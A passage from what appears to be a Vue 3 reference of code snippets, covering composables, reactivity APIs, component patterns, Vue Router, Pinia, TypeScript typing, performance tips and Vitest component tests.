  const y = ref(0)

  function update(event) {
    x.value = event.pageX
    y.value = event.pageY
  }

  onMounted(() => window.addEventListener('mousemove', update))
  onUnmounted(() => window.removeEventListener('mousemove', update))

  return { x, y }
}

// composables/useFetch.js
import { ref, watchEffect, toValue } from 'vue'

export function useFetch(url) {
  const data = ref(null)
  const error = ref(null)
  const loading = ref(false)

  const fetchData = async () => {
    loading.value = true
    error.value = null
    data.value = null

    try {
      const response = await fetch(toValue(url))
      if (!response.ok) throw new Error('Network response was not ok')
      data.value = await response.json()
    } catch (e) {
      error.value = e.message
    } finally {
      loading.value = false
    }
  }

  watchEffect(() => {
    fetchData()
  })

  return { data, error, loading, refetch: fetchData }
}

// Usage
<script setup>
import { ref } from 'vue'
import { useFetch } from './composables/useFetch'

const userId = ref(1)
const url = computed(() => `https://api.example.com/users/${userId.value}`)
const { data, error, loading } = useFetch(url)
</script>

<script setup>
import { reactive, toRef, toRefs, unref } from 'vue'

const state = reactive({
  name: 'John',
  age: 30,
  email: 'john@example.com'
})

// Create a ref to a single property
const name = toRef(state, 'name')
name.value = 'Jane' // Updates state.name

// Convert all properties to refs (useful for destructuring)
const { age, email } = toRefs(state)
age.value = 31 // Updates state.age

// unref - get value from ref or non-ref
function logValue(maybeRef) {
  console.log(unref(maybeRef)) // Works with refs and plain values
}
</script>

<script setup>
import { reactive, readonly, shallowRef, shallowReactive } from 'vue'

// readonly - prevents mutations
const original = reactive({ count: 0 })
const copy = readonly(original)

original.count++ // Works
// copy.count++  // Warning: mutation on readonly proxy

// shallowRef - only .value is reactive
const shallowState = shallowRef({ nested: { count: 0 } })
shallowState.value = { nested: { count: 1 } } // Triggers update
shallowState.value.nested.count++ // Does NOT trigger update

// shallowReactive - only root level is reactive
const shallowObj = shallowReactive({
  count: 0,
  nested: { value: 1 }
})
shallowObj.count++ // Triggers update
shallowObj.nested.value++ // Does NOT trigger update
</script>

<script setup>
import { ref, watch, watchEffect, watchPostEffect } from 'vue'

const count = ref(0)
const name = ref('John')

// Watch specific sources
watch([count, name], ([newCount, newName], [oldCount, oldName]) => {
  console.log(`Count: ${oldCount} -> ${newCount}`)
  console.log(`Name: ${oldName} -> ${newName}`)
})

// Watch with options
watch(count, (newVal) => {
  console.log('Count changed:', newVal)
}, {
  immediate: true,  // Run immediately
  deep: true,       // Deep watch for objects
  flush: 'post'     // Run after component updates
})

// watchEffect - automatically tracks dependencies
watchEffect(() => {
  console.log(`Count is ${count.value}`)
})

// watchPostEffect - runs after component updates (access updated DOM)
watchPostEffect(() => {
  console.log('DOM has been updated')
})

// Stop a watcher
const stop = watchEffect(() => {
  console.log(count.value)
})
stop() // Stop watching
</script>

<!-- Parent.vue (Provider) -->
<script setup>
import { provide, ref } from 'vue'

const theme = ref('dark')
const updateTheme = (newTheme) => {
  theme.value = newTheme
}

// Provide values to descendants
provide('theme', theme)
provide('updateTheme', updateTheme)

// With injection key for type safety
import { InjectionKey, Ref } from 'vue'
export const themeKey = Symbol() as InjectionKey<Ref<string>>
provide(themeKey, theme)
</script>

<!-- Child.vue (Consumer) -->
<script setup>
import { inject } from 'vue'

// Inject provided values
const theme = inject('theme')
const updateTheme = inject('updateTheme')

// With default value
const config = inject('config', { defaultValue: true })

// With injection key
import { themeKey } from './Parent.vue'
const theme = inject(themeKey)
</script>

<template>
  <div :class="theme">
    <button @click="updateTheme('light')">Light Mode</button>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue'

// DOM element ref
const input = ref(null)
const list = ref([])

// Component ref
const childComponent = ref(null)

onMounted(() => {
  // Access DOM element
  input.value.focus()

  // Access component instance (only exposed properties)
  childComponent.value.someExposedMethod()
})

// Ref in v-for
function setItemRef(el) {
  if (el) {
    list.value.push(el)
  }
}
</script>

<template>
  <input ref="input" />
  <ChildComponent ref="childComponent" />

  <!-- Dynamic refs in v-for -->
  <div v-for="item in items" :key="item.id" :ref="setItemRef">
    {{ item.name }}
  </div>
</template>

<!-- Child.vue -->
<script setup>
import { ref } from 'vue'

const count = ref(0)
const message = ref('Hello')

function increment() {
  count.value++
}

function reset() {
  count.value = 0
}

// Expose specific properties and methods to parent
defineExpose({
  count,
  increment,
  reset
  // message is NOT exposed
})
</script>

<!-- Parent.vue -->
<script setup>
import { ref } from 'vue'
import Child from './Child.vue'

const child = ref(null)

function callChildMethod() {
  child.value.increment()
  console.log(child.value.count) // Accessible
  // console.log(child.value.message) // undefined
}
</script>

<template>
  <Child ref="child" />
  <button @click="callChildMethod">Call Child Method</button>
</template>

<!-- CustomInput.vue -->
<script setup>
// Default v-model (modelValue prop, update:modelValue emit)
const props = defineProps(['modelValue'])
const emit = defineEmits(['update:modelValue'])

function updateValue(event) {
  emit('update:modelValue', event.target.value)
}
</script>

<template>
  <input
    :value="modelValue"
    @input="updateValue"
  />
</template>

<!-- Multiple v-models -->
<script setup>
defineProps(['firstName', 'lastName'])
defineEmits(['update:firstName', 'update:lastName'])
</script>

<template>
  <input
    :value="firstName"
    @input="$emit('update:firstName', $event.target.value)"
  />
  <input
    :value="lastName"
    @input="$emit('update:lastName', $event.target.value)"
  />
</template>

<!-- Usage -->
<CustomInput v-model="text" />
<CustomInput
  v-model:first-name="first"
  v-model:last-name="last"
/>

<!-- v-model with modifiers -->
<script setup>
const props = defineProps({
  modelValue: String,
  modelModifiers: { default: () => ({}) }
})

const emit = defineEmits(['update:modelValue'])

function emitValue(event) {
  let value = event.target.value
  if (props.modelModifiers.capitalize) {
    value = value.charAt(0).toUpperCase() + value.slice(1)
  }
  emit('update:modelValue', value)
}
</script>

<!-- Usage: <CustomInput v-model.capitalize="text" /> -->

<!-- Card.vue -->
<template>
  <div class="card">
    <!-- Default slot -->
    <div class="card-header">
      <slot name="header">Default Header</slot>
    </div>

    <!-- Default slot -->
    <div class="card-body">
      <slot>Default Content</slot>
    </div>

    <!-- Scoped slot - passing data to parent -->
    <div class="card-footer">
      <slot name="footer" :date="new Date()" :version="1.0">
        Default Footer
      </slot>
    </div>
  </div>
</template>

<!-- Usage -->
<template>
  <Card>
    <template #header>
      <h1>Custom Header</h1>
    </template>

    <p>Custom content</p>

    <template #footer="{ date, version }">
      <p>Version {{ version }} - {{ date.toLocaleDateString() }}</p>
    </template>
  </Card>
</template>

<!-- List with scoped slots -->
<script setup>
defineProps(['items'])
</script>

<template>
  <ul>
    <li v-for="item in items" :key="item.id">
      <slot :item="item" :index="item.id">
        {{ item.name }}
      </slot>
    </li>
  </ul>
</template>

<!-- Usage -->
<List :items="users">
  <template #default="{ item, index }">
    <strong>{{ index }}:</strong> {{ item.name }} ({{ item.email }})
  </template>
</List>

<script setup>
import { ref, shallowRef } from 'vue'
import ComponentA from './ComponentA.vue'
import ComponentB from './ComponentB.vue'
import ComponentC from './ComponentC.vue'

// Use shallowRef for component definitions (performance)
const currentComponent = shallowRef(ComponentA)

const tabs = {
  a: ComponentA,
  b: ComponentB,
  c: ComponentC
}

function switchComponent(key) {
  currentComponent.value = tabs[key]
}
</script>

<template>
  <div>
    <button @click="switchComponent('a')">Component A</button>
    <button @click="switchComponent('b')">Component B</button>
    <button @click="switchComponent('c')">Component C</button>

    <!-- Dynamic component -->
    <component :is="currentComponent" />

    <!-- With props and events -->
    <component
      :is="currentComponent"
      :some-prop="value"
      @some-event="handler"
    />
  </div>
</template>

<script setup>
import { defineAsyncComponent } from 'vue'

// Simple async component
const AsyncComponent = defineAsyncComponent(() =>
  import('./components/AsyncComponent.vue')
)

// With loading and error states
const AsyncComponentWithOptions = defineAsyncComponent({
  loader: () => import('./components/HeavyComponent.vue'),
  loadingComponent: LoadingSpinner,
  errorComponent: ErrorDisplay,
  delay: 200, // Delay before showing loading component
  timeout: 3000, // Timeout for loading
  suspensible: false,
  onError(error, retry, fail, attempts) {
    if (attempts <= 3) {
      retry()
    } else {
      fail()
    }
  }
})
</script>

<template>
  <AsyncComponent />
  <AsyncComponentWithOptions />
</template>

<script setup>
import { ref } from 'vue'

const showModal = ref(false)
</script>

<template>
  <button @click="showModal = true">Open Modal</button>

  <!-- Teleport to body -->
  <Teleport to="body">
    <div v-if="showModal" class="modal">
      <div class="modal-content">
        <h2>Modal Title</h2>
        <p>Modal content</p>
        <button @click="showModal = false">Close</button>
      </div>
    </div>
  </Teleport>

  <!-- Teleport to specific element -->
  <Teleport to="#modals">
    <div>Teleported content</div>
  </Teleport>

  <!-- Conditional teleport -->
  <Teleport :disabled="isMobile" to="body">
    <div>Only teleported on desktop</div>
  </Teleport>
</template>

<script setup>
import { ref } from 'vue'
import CompA from './CompA.vue'
import CompB from './CompB.vue'

const current = ref('CompA')
</script>

<template>
  <!-- Cache all components -->
  <KeepAlive>
    <component :is="current === 'CompA' ? CompA : CompB" />
  </KeepAlive>

  <!-- Cache specific components -->
  <KeepAlive include="CompA,CompB">
    <component :is="current" />
  </KeepAlive>

  <!-- Exclude specific components -->
  <KeepAlive exclude="CompC">
    <component :is="current" />
  </KeepAlive>

  <!-- With max cached instances -->
  <KeepAlive :max="10">
    <component :is="current" />
  </KeepAlive>
</template>

<!-- Component with KeepAlive lifecycle hooks -->
<script setup>
import { onActivated, onDeactivated } from 'vue'

onActivated(() => {
  console.log('Component activated (from cache)')
})

onDeactivated(() => {
  console.log('Component deactivated (cached)')
})
</script>

<template>
  <Suspense>
    <!-- Component with async setup -->
    <template #default>
      <AsyncComponent />
    </template>

    <!-- Loading state -->
    <template #fallback>
      <div>Loading...</div>
    </template>
  </Suspense>
</template>

<!-- AsyncComponent.vue -->
<script setup>
// Top-level await in script setup
const data = await fetch('/api/data').then(r => r.json())
</script>

<template>
  <div>{{ data }}</div>
</template>

<!-- Multiple async components -->
<template>
  <Suspense>
    <div>
      <AsyncComponentA />
      <AsyncComponentB />
      <!-- Both must resolve before showing -->
    </div>

    <template #fallback>
      <LoadingSpinner />
    </template>
  </Suspense>
</template>

<!-- Error handling with Suspense -->
<script setup>
import { onErrorCaptured, ref } from 'vue'

const error = ref(null)

onErrorCaptured((err) => {
  error.value = err
  return false // Prevent error from propagating
})
</script>

<template>
  <div v-if="error">
    Error: {{ error.message }}
  </div>
  <Suspense v-else>
    <AsyncComponent />
    <template #fallback>Loading...</template>
  </Suspense>
</template>

<script setup>
import { reactive, computed } from 'vue'

const form = reactive({
  username: '',
  email: '',
  password: '',
  confirmPassword: '',
  acceptTerms: false
})

const errors = reactive({
  username: '',
  email: '',
  password: '',
  confirmPassword: ''
})

// Validation rules
const rules = {
  username: (value) => {
    if (!value) return 'Username is required'
    if (value.length < 3) return 'Username must be at least 3 characters'
    return ''
  },
  email: (value) => {
    if (!value) return 'Email is required'
    if (!/^\S+@\S+\.\S+$/.test(value)) return 'Email is invalid'
    return ''
  },
  password: (value) => {
    if (!value) return 'Password is required'
    if (value.length < 8) return 'Password must be at least 8 characters'
    return ''
  },
  confirmPassword: (value) => {
    if (value !== form.password) return 'Passwords do not match'
    return ''
  }
}

function validateField(field) {
  errors[field] = rules[field](form[field])
}

function validateAll() {
  Object.keys(rules).forEach(validateField)
  return !Object.values(errors).some(error => error)
}

const isValid = computed(() => {
  return form.username &&
         form.email &&
         form.password &&
         form.password === form.confirmPassword &&
         form.acceptTerms
})

async function handleSubmit() {
  if (!validateAll()) {
    return
  }

  try {
    await submitForm(form)
  } catch (error) {
    console.error('Submit failed:', error)
  }
}
</script>

<template>
  <form @submit.prevent="handleSubmit">
    <div>
      <label>Username</label>
      <input
        v-model="form.username"
        @blur="validateField('username')"
        :class="{ error: errors.username }"
      />
      <span class="error-message">{{ errors.username }}</span>
    </div>

    <div>
      <label>Email</label>
      <input
        v-model="form.email"
        type="email"
        @blur="validateField('email')"
        :class="{ error: errors.email }"
      />
      <span class="error-message">{{ errors.email }}</span>
    </div>

    <div>
      <label>Password</label>
      <input
        v-model="form.password"
        type="password"
        @blur="validateField('password')"
        :class="{ error: errors.password }"
      />
      <span class="error-message">{{ errors.password }}</span>
    </div>

    <div>
      <label>Confirm Password</label>
      <input
        v-model="form.confirmPassword"
        type="password"
        @blur="validateField('confirmPassword')"
        :class="{ error: errors.confirmPassword }"
      />
      <span class="error-message">{{ errors.confirmPassword }}</span>
    </div>

    <div>
      <label>
        <input type="checkbox" v-model="form.acceptTerms" />
        Accept Terms and Conditions
      </label>
    </div>

    <button type="submit" :disabled="!isValid">
      Submit
    </button>
  </form>
</template>

<template>
  <!-- .lazy - update on change instead of input -->
  <input v-model.lazy="text" />

  <!-- .number - convert to number -->
  <input v-model.number="age" type="number" />

  <!-- .trim - trim whitespace -->
  <input v-model.trim="message" />

  <!-- Multiple modifiers -->
  <input v-model.lazy.trim="username" />
</template>

<script setup>
import { ref, watch } from 'vue'

const searchQuery = ref('')
const debouncedQuery = ref('')

// Debounce function
function debounce(fn, delay) {
  let timeoutId
  return (...args) => {
    clearTimeout(timeoutId)
    timeoutId = setTimeout(() => fn(...args), delay)
  }
}

const updateDebounced = debounce((value) => {
  debouncedQuery.value = value
}, 500)

watch(searchQuery, (newValue) => {
  updateDebounced(newValue)
})

// Or as a composable
import { customRef } from 'vue'

function useDebouncedRef(value, delay = 300) {
  return customRef((track, trigger) => {
    let timeout
    return {
      get() {
        track()
        return value
      },
      set(newValue) {
        clearTimeout(timeout)
        timeout = setTimeout(() => {
          value = newValue
          trigger()
        }, delay)
      }
    }
  })
}

const debouncedSearch = useDebouncedRef('', 500)
</script>

<template>
  <input v-model="searchQuery" placeholder="Search..." />
  <p>Debounced: {{ debouncedQuery }}</p>
</template>

// router/index.js
import { createRouter, createWebHistory } from 'vue-router'
import Home from '../views/Home.vue'

const routes = [
  {
    path: '/',
    name: 'home',
    component: Home
  },
  {
    path: '/about',
    name: 'about',
    // Lazy-loaded route
    component: () => import('../views/About.vue')
  },
  {
    path: '/user/:id',
    name: 'user',
    component: () => import('../views/User.vue'),
    props: true // Pass route params as props
  },
  {
    path: '/posts/:id',
    component: () => import('../views/Post.vue'),
    // Route meta fields
    meta: { requiresAuth: true }
  },
  {
    // Nested routes
    path: '/dashboard',
    component: () => import('../views/Dashboard.vue'),
    children: [
      {
        path: '',
        component: () => import('../views/DashboardHome.vue')
      },
      {
        path: 'profile',
        component: () => import('../views/Profile.vue')
      },
      {
        path: 'settings',
        component: () => import('../views/Settings.vue')
      }
    ]
  },
  {
    // 404 catch all
    path: '/:pathMatch(.*)*',
    name: 'not-found',
    component: () => import('../views/NotFound.vue')
  }
]

const router = createRouter({
  history: createWebHistory(),
  routes,
  scrollBehavior(to, from, savedPosition) {
    if (savedPosition) {
      return savedPosition
    } else {
      return { top: 0 }
    }
  }
})

export default router

<script setup>
import { useRouter, useRoute } from 'vue-router'
import { computed } from 'vue'

const router = useRouter()
const route = useRoute()

// Access route params and query
const userId = computed(() => route.params.id)
const page = computed(() => route.query.page || 1)

// Programmatic navigation
function goToHome() {
  router.push('/')
}

function goToUser(id) {
  router.push({ name: 'user', params: { id } })
}

function goToUserWithQuery(id) {
  router.push({
    path: `/user/${id}`,
    query: { tab: 'posts', page: 1 }
  })
}

function goBack() {
  router.back()
}

function goForward() {
  router.forward()
}

// Replace (no history entry)
function replaceRoute() {
  router.replace('/new-location')
}
</script>

<template>
  <div>
    <!-- Declarative navigation -->
    <router-link to="/">Home</router-link>
    <router-link :to="{ name: 'user', params: { id: 123 } }">
      User 123
    </router-link>
    <router-link to="/about" active-class="active" exact>
      About
    </router-link>

    <!-- Current route info -->
    <p>Current path: {{ route.path }}</p>
    <p>User ID: {{ userId }}</p>
    <p>Page: {{ page }}</p>

    <!-- Programmatic navigation -->
    <button @click="goToHome">Go Home</button>
    <button @click="goBack">Go Back</button>

    <!-- Router view -->
    <router-view />

    <!-- Named views -->
    <router-view name="sidebar" />
    <router-view name="main" />
  </div>
</template>

// Global guards (in router/index.js)
router.beforeEach((to, from, next) => {
  // Check authentication
  if (to.meta.requiresAuth && !isAuthenticated()) {
    next({ name: 'login', query: { redirect: to.fullPath } })
  } else {
    next()
  }
})

router.afterEach((to, from) => {
  // Analytics, page title, etc.
  document.title = to.meta.title || 'Default Title'
})

// Per-route guards
const routes = [
  {
    path: '/admin',
    component: Admin,
    beforeEnter: (to, from, next) => {
      if (!isAdmin()) {
        next({ name: 'home' })
      } else {
        next()
      }
    }
  }
]

// Component guards
<script setup>
import { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'

onBeforeRouteLeave((to, from) => {
  if (hasUnsavedChanges()) {
    const answer = window.confirm('You have unsaved changes. Leave anyway?')
    if (!answer) return false
  }
})

onBeforeRouteUpdate(async (to, from) => {
  // React to route changes on the same component
  if (to.params.id !== from.params.id) {
    await loadUser(to.params.id)
  }
})
</script>

// stores/counter.js
import { defineStore } from 'pinia'
import { ref, computed } from 'vue'

// Option syntax
export const useCounterStore = defineStore('counter', {
  state: () => ({
    count: 0,
    name: 'Counter'
  }),

  getters: {
    doubled: (state) => state.count * 2,
    doubledPlusOne() {
      return this.doubled + 1
    }
  },

  actions: {
    increment() {
      this.count++
    },
    async fetchData() {
      const data = await fetch('/api/data').then(r => r.json())
      this.count = data.count
    }
  }
})

// Composition API syntax (recommended)
export const useCounterStore = defineStore('counter', () => {
  const count = ref(0)
  const name = ref('Counter')

  const doubled = computed(() => count.value * 2)

  function increment() {
    count.value++
  }

  async function fetchData() {
    const data = await fetch('/api/data').then(r => r.json())
    count.value = data.count
  }

  return {
    count,
    name,
    doubled,
    increment,
    fetchData
  }
})

<script setup>
import { useCounterStore } from '@/stores/counter'
import { storeToRefs } from 'pinia'

const counterStore = useCounterStore()

// Destructure actions (works directly)
const { increment, fetchData } = counterStore

// Destructure state (needs storeToRefs to maintain reactivity)
const { count, doubled } = storeToRefs(counterStore)

// Or use store directly
// counterStore.count
// counterStore.increment()
</script>

<template>
  <div>
    <p>Count: {{ count }}</p>
    <p>Doubled: {{ doubled }}</p>
    <button @click="increment">Increment</button>
    <button @click="fetchData">Fetch Data</button>
  </div>
</template>

// composables/useSharedState.js
import { ref, readonly } from 'vue'

// Shared state (singleton)
const count = ref(0)
const isLoading = ref(false)

export function useSharedState() {
  function increment() {
    count.value++
  }

  function decrement() {
    count.value--
  }

  async function loadData() {
    isLoading.value = true
    try {
      // Fetch data
      await new Promise(resolve => setTimeout(resolve, 1000))
    } finally {
      isLoading.value = false
    }
  }

  return {
    count: readonly(count), // Expose as readonly
    isLoading: readonly(isLoading),
    increment,
    decrement,
    loadData
  }
}

// Usage in multiple components
<script setup>
import { useSharedState } from '@/composables/useSharedState'

const { count, increment } = useSharedState()
</script>

// Lazy load in router
const routes = [
  {
    path: '/dashboard',
    component: () => import('./views/Dashboard.vue')
  }
]

// Lazy load component
<script setup>
import { defineAsyncComponent } from 'vue'

const HeavyComponent = defineAsyncComponent(() =>
  import('./components/HeavyComponent.vue')
)
</script>

// Webpack magic comments for chunk naming
const Dashboard = () => import(
  /* webpackChunkName: "dashboard" */
  './views/Dashboard.vue'
)

<script setup>
import { ref, computed, watch } from 'vue'

const count = ref(0)
const multiplier = ref(2)

// ✅ GOOD: Use computed for derived values (cached, reactive)
const doubled = computed(() => count.value * multiplier.value)

// ❌ BAD: Don't use methods for derived values (recalculated every render)
function getDoubled() {
  return count.value * multiplier.value
}

// ✅ GOOD: Use watchers for side effects
watch(count, (newValue, oldValue) => {
  console.log('Count changed:', newValue)
  // Side effects: API calls, DOM manipulation, etc.
})

// ❌ BAD: Don't use computed for side effects
const badComputed = computed(() => {
  console.log('This runs too often!')
  return count.value * 2
})
</script>

<template>
  <!-- ✅ Computed (cached) -->
  <p>{{ doubled }}</p>

  <!-- ❌ Method (recalculated every render) -->
  <p>{{ getDoubled() }}</p>
</template>

<template>
  <!-- v-once: render once, never update -->
  <div v-once>
    <h1>{{ title }}</h1>
    <p>This content never changes</p>
  </div>

  <!-- v-memo: conditional caching (Vue 3.2+) -->
  <div v-for="item in list" :key="item.id" v-memo="[item.id, item.selected]">
    <!-- Only re-render if item.id or item.selected changes -->
    <p>{{ item.name }}</p>
    <p>{{ item.description }}</p>
  </div>

  <!-- Without v-memo, entire item re-renders on any change -->
  <!-- With v-memo, only re-renders when dependencies change -->
</template>

<script setup>
import { ref, computed } from 'vue'

const items = ref([/* thousands of items */])
const containerHeight = ref(600)
const itemHeight = 50
const scrollTop = ref(0)

const visibleStart = computed(() =>
  Math.floor(scrollTop.value / itemHeight)
)

const visibleEnd = computed(() =>
  Math.ceil((scrollTop.value + containerHeight.value) / itemHeight)
)

const visibleItems = computed(() =>
  items.value.slice(visibleStart.value, visibleEnd.value)
)

const totalHeight = computed(() =>
  items.value.length * itemHeight
)

const offsetY = computed(() =>
  visibleStart.value * itemHeight
)

function handleScroll(event) {
  scrollTop.value = event.target.scrollTop
}
</script>

<template>
  <div
    class="virtual-scroll-container"
    :style="{ height: containerHeight + 'px' }"
    @scroll="handleScroll"
  >
    <div :style="{ height: totalHeight + 'px', position: 'relative' }">
      <div
        :style="{ transform: `translateY(${offsetY}px)` }"
      >
        <div
          v-for="item in visibleItems"
          :key="item.id"
          :style="{ height: itemHeight + 'px' }"
        >
          {{ item.name }}
        </div>
      </div>
    </div>
  </div>
</template>

// vite.config.js
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

export default defineConfig({
  plugins: [vue()],
  build: {
    // Enable minification
    minify: 'terser',
    terserOptions: {
      compress: {
        drop_console: true, // Remove console.log in production
      }
    },
    // Code splitting
    rollupOptions: {
      output: {
        manualChunks: {
          'vendor': ['vue', 'vue-router', 'pinia'],
          'ui': ['./src/components/ui']
        }
      }
    },
    // Chunk size warnings
    chunkSizeWarningLimit: 500
  }
})

<script setup lang="ts">
import { ref } from 'vue'

// Define props with TypeScript
interface Props {
  title: string
  count?: number
  items: Array<{ id: number; name: string }>
  callback?: (value: number) => void
}

const props = withDefaults(defineProps<Props>(), {
  count: 0,
  callback: () => {}
})

// Define emits with TypeScript
interface Emits {
  (e: 'update', value: number): void
  (e: 'delete', id: number): void
  (e: 'submit', data: { name: string; email: string }): void
}

const emit = defineEmits<Emits>()

// Or inline
const emit = defineEmits<{
  update: [value: number]
  delete: [id: number]
}>()

function handleClick() {
  emit('update', props.count + 1)
}
</script>

<script setup lang="ts">
import { ref, reactive, computed } from 'vue'

// Typed ref
const count = ref<number>(0)
const name = ref<string>('John')

// Typed ref with interface
interface User {
  id: number
  name: string
  email: string
}

const user = ref<User>({
  id: 1,
  name: 'John',
  email: 'john@example.com'
})

// Typed reactive
const state = reactive<{
  count: number
  name: string
}>({
  count: 0,
  name: 'John'
})

// Typed computed
const doubled = computed<number>(() => count.value * 2)

// Typed template ref
import { ComponentPublicInstance } from 'vue'
import ChildComponent from './ChildComponent.vue'

const child = ref<ComponentPublicInstance<typeof ChildComponent>>()
</script>

// composables/useFetch.ts
import { ref, Ref } from 'vue'

interface UseFetchReturn<T> {
  data: Ref<T | null>
  error: Ref<Error | null>
  loading: Ref<boolean>
  refetch: () => Promise<void>
}

export function useFetch<T>(url: string): UseFetchReturn<T> {
  const data = ref<T | null>(null)
  const error = ref<Error | null>(null)
  const loading = ref<boolean>(false)

  async function fetchData() {
    loading.value = true
    error.value = null

    try {
      const response = await fetch(url)
      if (!response.ok) throw new Error('Network error')
      data.value = await response.json()
    } catch (e) {
      error.value = e as Error
    } finally {
      loading.value = false
    }
  }

  fetchData()

  return {
    data,
    error,
    loading,
    refetch: fetchData
  }
}

// Usage
interface User {
  id: number
  name: string
  email: string
}

const { data, error, loading } = useFetch<User[]>('/api/users')

<script setup lang="ts" generic="T extends { id: number }">
import { computed } from 'vue'

interface Props {
  items: T[]
  selectedId?: number
}

const props = defineProps<Props>()

const emit = defineEmits<{
  select: [item: T]
}>()

const selectedItem = computed(() =>
  props.items.find(item => item.id === props.selectedId)
)
</script>

<template>
  <div>
    <div
      v-for="item in items"
      :key="item.id"
      @click="emit('select', item)"
    >
      <slot :item="item" />
    </div>
  </div>
</template>

<!-- Usage -->
<GenericList
  :items="users"
  @select="handleSelect"
>
  <template #default="{ item }">
    {{ item.name }}
  </template>
</GenericList>

<script setup>
import { ref, onMounted } from 'vue'

const data = ref(null)
const loading = ref(false)
const error = ref(null)

async function fetchData() {
  loading.value = true
  error.value = null

  try {
    const response = await fetch('/api/data')
    if (!response.ok) throw new Error('Failed to fetch')
    data.value = await response.json()
  } catch (e) {
    error.value = e.message
  } finally {
    loading.value = false
  }
}

onMounted(() => {
  fetchData()
})
</script>

<template>
  <div>
    <div v-if="loading">Loading...</div>
    <div v-else-if="error">Error: {{ error }}</div>
    <div v-else-if="data">
      <!-- Display data -->
      <pre>{{ data }}</pre>
    </div>
    <button @click="fetchData">Retry</button>
  </div>
</template>

<script setup>
import { ref, onErrorCaptured } from 'vue'

const error = ref(null)

onErrorCaptured((err, instance, info) => {
  error.value = err
  console.error('Error captured:', err, info)
  // Return false to prevent propagation
  return false
})

function resetError() {
  error.value = null
}
</script>

<template>
  <div>
    <div v-if="error" class="error-boundary">
      <h2>Something went wrong</h2>
      <p>{{ error.message }}</p>
      <button @click="resetError">Try Again</button>
    </div>
    <slot v-else />
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'

const isActive = ref(true)
const hasError = ref(false)
const type = ref('primary')

const buttonClasses = computed(() => ({
  active: isActive.value,
  error: hasError.value,
  [`btn-${type.value}`]: true
}))

const dynamicStyles = computed(() => ({
  color: isActive.value ? 'blue' : 'gray',
  fontSize: '14px'
}))
</script>

<template>
  <!-- Class binding -->
  <div :class="{ active: isActive, error: hasError }">Basic</div>

  <!-- Array syntax -->
  <div :class="['btn', type, { active: isActive }]">Array</div>

  <!-- Computed classes -->
  <button :class="buttonClasses">Button</button>

  <!-- Style binding -->
  <div :style="{ color: 'red', fontSize: '14px' }">Inline</div>
  <div :style="dynamicStyles">Dynamic</div>

  <!-- Multiple style objects -->
  <div :style="[baseStyles, overrideStyles]">Multiple</div>
</template>

// utils/timing.js

// Debounce: wait for pause in calls
export function debounce(fn, delay) {
  let timeoutId
  return function (...args) {
    clearTimeout(timeoutId)
    timeoutId = setTimeout(() => fn.apply(this, args), delay)
  }
}

// Throttle: limit call frequency
export function throttle(fn, limit) {
  let inThrottle
  return function (...args) {
    if (!inThrottle) {
      fn.apply(this, args)
      inThrottle = true
      setTimeout(() => inThrottle = false, limit)
    }
  }
}

// Usage
<script setup>
import { ref } from 'vue'
import { debounce, throttle } from '@/utils/timing'

const searchQuery = ref('')

const debouncedSearch = debounce((query) => {
  console.log('Searching for:', query)
  // API call here
}, 500)

const throttledScroll = throttle(() => {
  console.log('Scroll event')
}, 1000)

function handleInput(event) {
  searchQuery.value = event.target.value
  debouncedSearch(event.target.value)
}
</script>

<template>
  <input @input="handleInput" />
  <div @scroll="throttledScroll">Scrollable content</div>
</template>

<script setup>
import { ref, onMounted, onUnmounted } from 'vue'

const target = ref(null)
const isVisible = ref(false)

let observer

onMounted(() => {
  observer = new IntersectionObserver(
    ([entry]) => {
      isVisible.value = entry.isIntersecting

      // Load once and disconnect
      if (entry.isIntersecting) {
        loadContent()
        observer.disconnect()
      }
    },
    {
      threshold: 0.1,
      rootMargin: '50px'
    }
  )

  if (target.value) {
    observer.observe(target.value)
  }
})

onUnmounted(() => {
  if (observer) {
    observer.disconnect()
  }
})

function loadContent() {
  console.log('Loading content...')
}
</script>

<template>
  <div ref="target">
    <div v-if="isVisible">
      <!-- Lazy loaded content -->
      <img src="large-image.jpg" />
    </div>
    <div v-else>
      Loading...
    </div>
  </div>
</template>

// MyComponent.spec.js
import { describe, it, expect, vi } from 'vitest'
import { mount } from '@vue/test-utils'
import MyComponent from './MyComponent.vue'

describe('MyComponent', () => {
  it('renders properly', () => {
    const wrapper = mount(MyComponent, {
      props: {
        title: 'Hello'
      }
    })

    expect(wrapper.text()).toContain('Hello')
  })

  it('emits update event when button clicked', async () => {
    const wrapper = mount(MyComponent)

    await wrapper.find('button').trigger('click')

    expect(wrapper.emitted()).toHaveProperty('update')
    expect(wrapper.emitted('update')[0]).toEqual([1])
  })

  it('updates count when increment is called', async () => {
    const wrapper = mount(MyComponent)

    expect(wrapper.vm.count).toBe(0)

    await wrapper.vm.increment()

    expect(wrapper.vm.count).toBe(1)
    expect(wrapper.html()).toContain('1')
  })

  it('handles async data fetching', async () => {
    // Mock fetch
    global.fetch = vi.fn(() =>
      Promise.resolve({
        ok: true,
        json: () => Promise.resolve({ data: 'test' })
      })
    )

    const wrapper = mount(MyComponent)

    // Wait for async operations
    await wrapper.vm.$nextTick()
    await new Promise(resolve => setTimeout(resolve, 0))

    expect(wrapper.vm.data).toEqual({ data: 'test' })
  })
})

// useCounter.spec.js
import { describe, it, expect } from 'vitest'
import { useCounter } from './useCounter'

describe('useCounter', () => {
  it('initializes with default value', () => {
    const { count } = useCounter()
    expect(count.value).toBe(0)
  })

  it('initializes with custom value', () => {
    const { count } = useCounter(10)
    expect(count.value).toBe(10)
  })

  it('increments count', () => {
    const { count, increment } = useCounter()
    increment()
    expect(count.value).toBe(1)
  })

  it('computes doubled value', () => {
    const { count, doubled, increment } = useCounter()
    expect(doubled.value).toBe(0)
    increment()
    expect(doubled.value).toBe(2)
  })
})

// Component.spec.js
import { describe, it, expect, vi } from 'vitest'
import { mount } from '@vue/test-utils'
import { createPinia, setActivePinia } from 'pinia'
import MyComponent from './MyComponent.vue'
import { useUserStore } from '@/stores/user'

// Mock composable
vi.mock('@/composables/useFetch', () => ({
  useFetch: vi.fn(() => ({
    data: { value: { name: 'Test' } },
    loading: { value: false },
    error: { value: null }
  }))
}))

describe('MyComponent with mocks', () => {
  it('uses mocked composable', () => {
    const wrapper = mount(MyComponent)
    expect(wrapper.text()).toContain('Test')
  })

  it('works with pinia store', () => {
    setActivePinia(createPinia())

    const store = useUserStore()
    store.name = 'John'

    const wrapper = mount(MyComponent, {
